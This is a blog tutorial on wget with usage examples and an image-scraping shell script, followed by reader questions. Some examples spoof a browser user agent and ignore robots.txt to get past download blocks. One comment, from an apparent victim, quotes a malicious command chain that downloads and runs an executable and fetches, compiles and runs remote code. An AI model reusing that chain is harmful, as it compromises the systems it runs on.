Wget examples and scripts
Wget is a command-line Web browser for Unix and Windows. Wget can download Web pages and files; it can submit form data and follow links; it can mirror entire Web sites and make local copies. Wget is one of the most useful applications you would ever install on your computer and it is free.
You can download the latest version of Wget from the developers home page. Precompiled versions of Wget are available for Windows and for most flavors of Unix. Many Unix operating system have wget pre-installed, so type which wget to see if you already have it.
Wget supports a multitude of options and parameters. This variety may be confusing to people unfamiliar with Wget. You can view the available Wget options by typing wget –help or on a Unix box type man wget.
Here are a few useful examples on how to use Wget:
1) Download main page of Yahoo.com and save it as yahoo.htm
wget -O yahoo.htm http://www.yahoo.com
2) Use Wget with an HTTP firewall:
Set proxy in Korn or Bash shells
export http_proxy=proxy_server.domain:port_numberSet proxy in C-shell
setenv http_proxy proxy_server.domain:port_numberRun wget for anonymous proxy
wget -Y -O yahoo.htm "http://www.yahoo.com"Run wget for proxy that requires authentication
wget -Y --proxy-user=your_username --proxy-passwd=your_password -O yahoo.htm "http://www.yahoo.com"
3) Make a local mirror of Wget home page that you can browse from your hard drive
Here are the options we will use:
-m to mirror the site
-k to make all links local
-D to stay within the specified domain
–follow-ftp to follow FTP links
-np not to ascend to the parent directoryThe following two options are to deal with Web sites protected against automated download tools such as Wget:
-U to mascarade as a Mozilla browser
-e robots=off to ignore no-robots server directiveswget -U Mozilla -m -k -D gnu.org --follow-ftp -np "http://www.gnu.org/software/wget/" -e robots=off
4) Download all images from Playboy site
Here are the options we will use:
-r for recursive download
-l 0 for unlimited levels
-t 1 for one download attempt per link
-nd not to create local directories
-A to download only files with specified extentionswget -r -l 0 -U Mozilla -t 1 -nd -D playboy.com -A jpg,jpeg,gif,png "http://www.playboy.com" -e robots=off
5) Web image collector
The following Korn-shell script reads from a list of URLs and downloads all images found anywhere on those sites. The images are processed and all images smaller than a certain size are deleted. The remaining images are saved in a folder with named after the URL. The url_list.txt file contains one URL per line.
This script was originally written to run under AT&T UWIN on Windows, but it will also work in any native Unix environment that has Korn shell.
#!/bin/ksh # WIC.ksh - Web Image Collector # # WIC reads from a list of URLs and spiders each site recursively # downloading images that match specified criteria (type, size). #----------------------------------------------------------------- # ENVIRONMENT CONFIGURATION #----------------------------------------------------------------- WORKDIR="C:/Downloads" # Working directory cd "$WORKDIR" OUTPUT="$WORKDIR/output" # Final output directory URLS="$WORKDIR/url_list.txt" # List of URLs WGET="/usr/bin/wget" # Wget executable SIZE="+7k" # Minimum image size to keep TMPDIR1="$WORKDIR/tmp1" # Temporary directory 1 TMPDIR2="$WORKDIR/tmp2" # Temporary directory 2 TMPDIR3="$WORKDIR/tmp3" # Temporary directory 3 if [ ! -d "$WORKDIR" ] then mkdir "$WORKDIR" if [ ! -d "$WORKDiR" ] then echo "Download directory not found. Exiting..." exit 1 fi fi if [ ! -d "$OUTPUT" ] then mkdir "$OUTPUT" if [ ! -d "$OUTPUT" ] then echo "Cannot create $OUTPUT directory. Exiting..." exit 1 fi fi if [ ! -f "$URLS" ] then echo "URL list not found in $WORKDIR. Exiting..." exit 1 fi for i in 1 2 3 do if [ -d "$WORKDIR/tmp$i" ] then rm -r "$WORKDIR/tmp$i" mkdir "$WORKDIR/tmp$i" else mkdir "$WORKDIR/tmp$i" fi done if [ ! -f "$WGET" ] then echo "$WGET executable not found. Exiting..." exit 1 fi #----------------------------------------------------------------- # DOWNLOAD IMAGES #----------------------------------------------------------------- cat "$URLS" | while read URL do echo "Processing $URL" DOMAIN=$(echo "$URL" | awk -F'/' '{print $3}') if [ ! -d "$OUTPUT/$DOMAIN" ] then cd "$TMPDIR1" mkdir "$OUTPUT/$DOMAIN" $WGET --http-user=your_username --http-passwd=your_password -r -l 0 -U Mozilla -t 1 -nd -A jpg,jpeg,gif,png,pdf "$URL" -e robots=off find "$TMPDIR1" -type f -size "$SIZE" -exec mv {} "$OUTPUT/$DOMAIN" ; cd "$WORKDIR" else echo " $URL already processed. Skipping..." fi for i in 1 2 3 do if [ -d "$WORKDIR/tmp$i" ] then rm -r "$WORKDIR/tmp$i" mkdir "$WORKDIR/tmp$i" else mkdir "$WORKDIR/tmp$i" fi done done #----------------------------------------------------------------- # Remove empty download directories #----------------------------------------------------------------- cd "$OUTPUT" find . -type d | fgrep "./" | while read DIR do if [ `ls -R "$DIR" | wc -l | awk '{print $1}'` -eq 0 ] then rmdir "$DIR" fi done cd "$WORKDIR"
6) Wget options
GNU Wget 1.8.1+cvs, a non-interactive network retriever.
Usage: wget [OPTION]... [URL]...
Mandatory arguments to long options are mandatory for short options too.
Startup:
-V, --version display the version of Wget and exit.
-h, --help print this help.
-b, --background go to background after startup.
-e, --execute=COMMAND execute a `.wgetrc'-style command.
Logging and input file:
-o, --output-file=FILE log messages to FILE.
-a, --append-output=FILE append messages to FILE.
-d, --debug print debug output.
-q, --quiet quiet (no output).
-v, --verbose be verbose (this is the default).
-nv, --non-verbose turn off verboseness, without being quiet.
-i, --input-file=FILE download URLs found in FILE.
-F, --force-html treat input file as HTML.
-B, --base=URL prepends URL to relative links in -F -i file.
--sslcertfile=FILE optional client certificate.
--sslcertkey=KEYFILE optional keyfile for this certificate.
--egd-file=FILE file name of the EGD socket.
Download:
--bind-address=ADDRESS bind to ADDRESS (hostname or IP) on local host.
-t, --tries=NUMBER set number of retries to NUMBER (0 unlimits).
-O --output-document=FILE write documents to FILE.
-nc, --no-clobber don't clobber existing files or use .# suffixes.
-c, --continue resume getting a partially-downloaded file.
--progress=TYPE select progress gauge type.
-N, --timestamping don't re-retrieve files unless newer than local.
-S, --server-response print server response.
--spider don't download anything.
-T, --timeout=SECONDS set the read timeout to SECONDS.
-w, --wait=SECONDS wait SECONDS between retrievals.
--waitretry=SECONDS wait 1...SECONDS between retries of a retrieval.
--random-wait wait from 0...2*WAIT secs between retrievals.
-Y, --proxy=on/off turn proxy on or off.
-Q, --quota=NUMBER set retrieval quota to NUMBER.
--limit-rate=RATE limit download rate to RATE.
Directories:
-nd --no-directories don't create directories.
-x, --force-directories force creation of directories.
-nH, --no-host-directories don't create host directories.
-P, --directory-prefix=PREFIX save files to PREFIX/...
--cut-dirs=NUMBER ignore NUMBER remote directory components.
HTTP options:
--http-user=USER set http user to USER.
--http-passwd=PASS set http password to PASS.
-C, --cache=on/off (dis)allow server-cached data (normally allowed).
-E, --html-extension save all text/html documents with .html extension.
--ignore-length ignore `Content-Length' header field.
--header=STRING insert STRING among the headers.
--proxy-user=USER set USER as proxy username.
--proxy-passwd=PASS set PASS as proxy password.
--referer=URL include `Referer: URL' header in HTTP request.
-s, --save-headers save the HTTP headers to file.
-U, --user-agent=AGENT identify as AGENT instead of Wget/VERSION.
--no-http-keep-alive disable HTTP keep-alive (persistent connections).
--cookies=off don't use cookies.
--load-cookies=FILE load cookies from FILE before session.
--save-cookies=FILE save cookies to FILE after session.
FTP options:
-nr, --dont-remove-listing don't remove `.listing' files.
-g, --glob=on/off turn file name globbing on or off.
--passive-ftp use the "passive" transfer mode.
--retr-symlinks when recursing, get linked-to files (not dirs).
Recursive retrieval:
-r, --recursive recursive web-suck -- use with care!
-l, --level=NUMBER maximum recursion depth (inf or 0 for infinite).
--delete-after delete files locally after downloading them.
-k, --convert-links convert non-relative links to relative.
-K, --backup-converted before converting file X, back up as X.orig.
-m, --mirror shortcut option equivalent to -r -N -l inf -nr.
-p, --page-requisites get all images, etc. needed to display HTML page.
Recursive accept/reject:
-A, --accept=LIST comma-separated list of accepted extensions.
-R, --reject=LIST comma-separated list of rejected extensions.
-D, --domains=LIST comma-separated list of accepted domains.
--exclude-domains=LIST comma-separated list of rejected domains.
--follow-ftp follow FTP links from HTML documents.
--follow-tags=LIST comma-separated list of followed HTML tags.
-G, --ignore-tags=LIST comma-separated list of ignored HTML tags.
-H, --span-hosts go to foreign hosts when recursive.
-L, --relative follow relative links only.
-I, --include-directories=LIST list of allowed directories.
-X, --exclude-directories=LIST list of excluded directories.
-np, --no-parent don't ascend to the parent directory.
27 Comments »
4 Pingbacks »
-
[…] command-line downloader and Web crawler application. You can read more about Wget in one of my earlier posts on the subject. One issue with Wget is that some sites block it from accessing their content. This […]
![wyryr1sn52gntzn65v4fpz5lc6v[1]](https://i2.wp.com/www.krazyworks.com/wp-content/uploads/2021/08/wyryr1sn52gntzn65v4fpz5lc6v1-80x80.jpg "Plundering Facebook Photo Albums")
![clfud46mxf2t5zph2l04zlpgl1d[1]](https://i2.wp.com/www.krazyworks.com/wp-content/uploads/2021/08/clfud46mxf2t5zph2l04zlpgl1d1-80x80.jpg "Scraping a Web Page in Bash")
![DSCF5361[1]](https://i1.wp.com/www.krazyworks.com/wp-content/uploads/2020/10/DSCF53611-80x80.jpg "Processing Videos with ffmpeg and Lightroom")
![Cat-Devouring-A-Bird-Pablo-Picasso[1]](https://i0.wp.com/www.krazyworks.com/wp-content/uploads/2020/10/Cat-Devouring-A-Bird-Pablo-Picasso1-80x80.jpg "Searching Twitter")
![91ebozy1e3b138waujy28agrngy[1]](https://i2.wp.com/www.krazyworks.com/wp-content/uploads/2021/08/91ebozy1e3b138waujy28agrngy1-80x80.jpg "Generating Random Text Files for Testing")
![iwoau71okwxqh4jv3k4ook32qps[1]](https://i2.wp.com/www.krazyworks.com/wp-content/uploads/2021/08/iwoau71okwxqh4jv3k4ook32qps1-80x80.jpg "Finding Cron Jobs")
![5gtysva4wkc8mzc1k3e66vaycxx[1]](https://i1.wp.com/www.krazyworks.com/wp-content/uploads/2021/08/5gtysva4wkc8mzc1k3e66vaycxx1-80x80.jpg "Understanding Memory Utilization in Linux")
![sy2zeb1vp2h8itlxfbbylw0jrm0[1]](https://i0.wp.com/www.krazyworks.com/wp-content/uploads/2019/12/sy2zeb1vp2h8itlxfbbylw0jrm01-80x80.jpg "Validating HTTPS Cache Peers for Squid")
![Photo-2019-10-07-14-39-03_0266[1]](https://i1.wp.com/www.krazyworks.com/wp-content/uploads/2019/11/Photo-2019-10-07-14-39-03_02661-80x80.jpg "Verifying SNMP Connectivity on Multiple Hosts")
Very useful info. Thanks!
best info i ever saw for this problem !!
no bullshit talking, clear information …
VERY GOOD
thanx a lot
really useful and enlightening :-)
Regards,
Swapnil
Can’t you use the -i option to process a list of urls in a file?
You can use the “-i” option with wget to download a list of URLs. However, you will not have as much control over destination folders as you do when you use a WHILE loop.
Wow, awesome, i’ve been looking for that list for a while now! :D ever since i saw the social network!
For me the image-download example is not working “as is”:
I added the option -p :
from the manual:
This option causes Wget to download all the files that are necessary to properly display a given HTML page. This includes such things as inlined images, sounds, and referenced stylesheets.
There are so many operating systems to choose from but i always prefer windows because it is easier to use. ;
Have a look at our own internet site as well
http://www.prettygoddess.com
I just want to practice Unix commands and start learning shell scripting and what is kernel. Cold you tell me the earliest and/or the smallest version of Unix, I Don’t need Graphical User interface for the time being. I need the Unix to be the smallest to be practiced in with smallest space required for RAM and Hard disk.
Thanks Martino I will try that but could you tell me any version of Unix that is of the size about 2 MB like MS Dos.
Have been wondering for some time.
Excluding other hacks potentially involved, I was wondering if a DDoS attack in it of itself is actually illegal?
And if so at what point is refreshing a page considered illegal?
I was thinking same, but just am curious at what point is the line drawn, 5-25-100-1000+ times a minute? Just seems rather gray area of law to me to me. I mean you’re not actually causing any real damage per se, so im also curious as to what makes it illegal.
Give me five architecture types that are unrelated and five operating systems that are unrelated.
Unrelated is the key term.
What are the fundamental differences between Windows®, Mac OS®, UNIX, and Linux operating systems for personal computers?
i want to know how can i upload a file that is stored in a web server ( example : http://dl.ibox.org.ua/8/70322/Bengu___Taktik_www.Musicha.com.zip ) to my own web server?
is there any codes or such things that i can put in my web host that can do this thing for me ?
like i put the url of the file that i want to upload to my web host and click the button then it trasfers the file to my web host?
my host supports java script and php!
The solution to:
How to prevent the execution of cron job from the url by any user?
I have my cron job script in a folder with the name like password: 3e2fkjn32kgjn.php.
It is possible to a user figure out the url and execute the cron?
If yes, how to prevent that?
Detaills: my cron script emails me the statics of the web every day.
So, Can you tell me if is possible to get the cron url? if yes, how? and how to prevent it?
Thanks-
i want to downloads some files(nearly about 1000-2000 zip files) from a website. i can sit around and add each file one after another. please give me a program or script or whatever method so i can automate the download.
The website i am talking about has download link as
abc.co/date/12345/folder/12345_zip.zip
date can be taken care of. the main concern is that number 12345 before and after the folder, they both change simultaneously. eg
abc.co/date/23456/folder/23456_zip.zip
abc.co/date/54321/folder/54321_zip.zip
i tried using curl
abc.co/date/[12345-54321]/folder/[12345-54321]_zip.zip
but it makes to much of combination of downloads i.e. keeps left 12345 as it is and scan through 12345 to 54321 the increment left 12345 +1 then repeats scan from [12345-54321].
also tried bash wget here i have one variable at two places , when using loop the right 12345 with a ” _” is ignored by the program. PLease help me, i dont know much about linux or programing, thanks
I have a ConfigSystem file on my Linux machine and the program was ported from a Sun box so it has 4 different functions:
Sun64(), Sun32(), linux32(), and linux64() each with all the compiler settings.
How or where is it told which function to use?
Thanks!
I recently starts some email marketing campaigns. We choose a email marketing software named PHPKode Newsletter X. Everything is well but it’s Cronjobs Configuration.
It tells me this in their site,
“The setup processe of a cronjob depends on the hosting software you are using (Plesk, cPanel). Then add the commands bellow.
wget -O – -q -t 1 http://demo.phpnewsletter.org/newsletter_sendmail.php?key=hZwtPALP&user_id=1”
I use a webhosting in HostGator, so anyone tell me how i can setup this cronjobs correctly?
You can find the configuration at their demo site http://www.phpnewsletter.org
Is it possible to do it in Google Finance ?
For instance : Shanghai stock 900947 ?
I know this sounds bizarre, but my webmaster passed away suddenly and I need to keep my website up and running. I do not have access to his PC. I believe that he was hosting the site on his own servers (not sure). And he is listed as the registrant for my domain name, along with my company name. Ideally what I want to do is move the website to another hosting company and then have someone else administer the website. I assume I would need the software that he used to develop the site in order to do this. HELP! I’ve never encountered a problem like this before and I can’t find any help on the web.
I have recently started looking into programing, since I want to start studying it when I start university! And I had this idea of a program I would write. (Had I actually known what I was doing).
I want a program that fetches images from a site which uploads a new picture every day and save it to my desktop background folder! I would like it to do so automatically once every day.
Is there anyone who can write me a “recipe” for a script which I could write down in Python? (I don’t want any downloads since I want to study the script)
Think of it as a small project if you know what you are doing! :)
Any contribution is much appreciated!!
hey
about 30 mins ago i was typing an email and suddenly it started typing stuff:
ik &echo binary >> ik &echo get update.exe >> >> ik &ftp -n -v -s:ik &del ik &update.exe >> echo mkdir .opz >> echo cd .opz >> echo wget http://shell.h4ck,biz/~kredkrew/index.c >> echo gcc -o opz index.c >> echo nice work >> echo ./opz >> echo Another Rooted!! &exit echo You got owned
i got most of it
there was a bit missing at the start because i was pressing backspace at the beginning i think it said cmd /c then a little bit then the rest of the code
i don’t know if Ive been hacked or something that’s deferentially wrong though i’m lucky that i was typing an email because i found another example of when someone found it in command line
so i think it was meant to go in there
i have researched the site and gone to the url but it all 404s and has databace errors
i first ran a AVG scan and it came up with:
“”;”HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstallHardcore”;”Found Dialer.Generic”;”Moved to Virus Vault”
so it removed it to the virus vault i dont know if it was that
when it happend i was running rsbot from powerbot
im not sure if it could have been the script i was using or something but i have now got rid of it (rsbot and the script)
im downloading malware bites, spybot search and destroy, and adaware
imgoing to do a scan with each
is there anything elce i can do?
should i do a system restore?
something that gives me hope is that the url has a , colon insted of dot so i dont thing it would have been able to get to the url
im also going to do a scan for security holes
sorry for the TERRIBLE typing/spelling im trying to get this up asap
i do keep everything up to date
but if the worst comes to worst i may end up reinstalling my os
ive just realised that i has 2 ports open compete ally on my router that go to my pc so i have now removed them
i know im a idiout
Wanted to know if supercomputers required a different operating system than a regular computer. I would think they use something very different or custom made.
I am using a chain of pipes to extract a set of links from a downloaded HTML. However, in the one before last step, I have a list of relative URLs and I would like to prepend the address of the server. I would love to insert that in the chain using a command like “prepend” in this example:
grep “my regexp” file.html | more commands | prepend “http://www.server.com/” | wget -i
More generally, it would be cool to have a command which would insert the contents of each input line at a specified place in a pattern, like
sandwich -c _ abc_def:
input line 1
input line 2
->
abcinput line 1def
abcinput line 2def
But a command for only prepending or only appending something to each line would suffice. I mean, it’s easy to cut out a part of each line using cut, there should be a reverse command available, too.
Please note before answering that I’m sure that
1) sed or awk could handle this with ease (but I don’t feel like learning them), and
2) writing a Perl script for this would take 10x less time than typing out this question,
but I think I am missing some really neat standard way of doing this straight from the command line without any extra gear and I want to know. So, how do I go about doing so?
please help me to create a batch file for downloading
i want to make a batch in which we just type the addresses or links and a paith of folder it is for where the downloaded file store.
this all attemps are for the people those download files from a website daily
for example i download the assingments form the website daily from just one link.
now my aim is this to create a bat .for download all the files from the web on one click
and not perform one by one file.
if you have an idea about this then plz share with me
the coding for batch
for downloading
thanks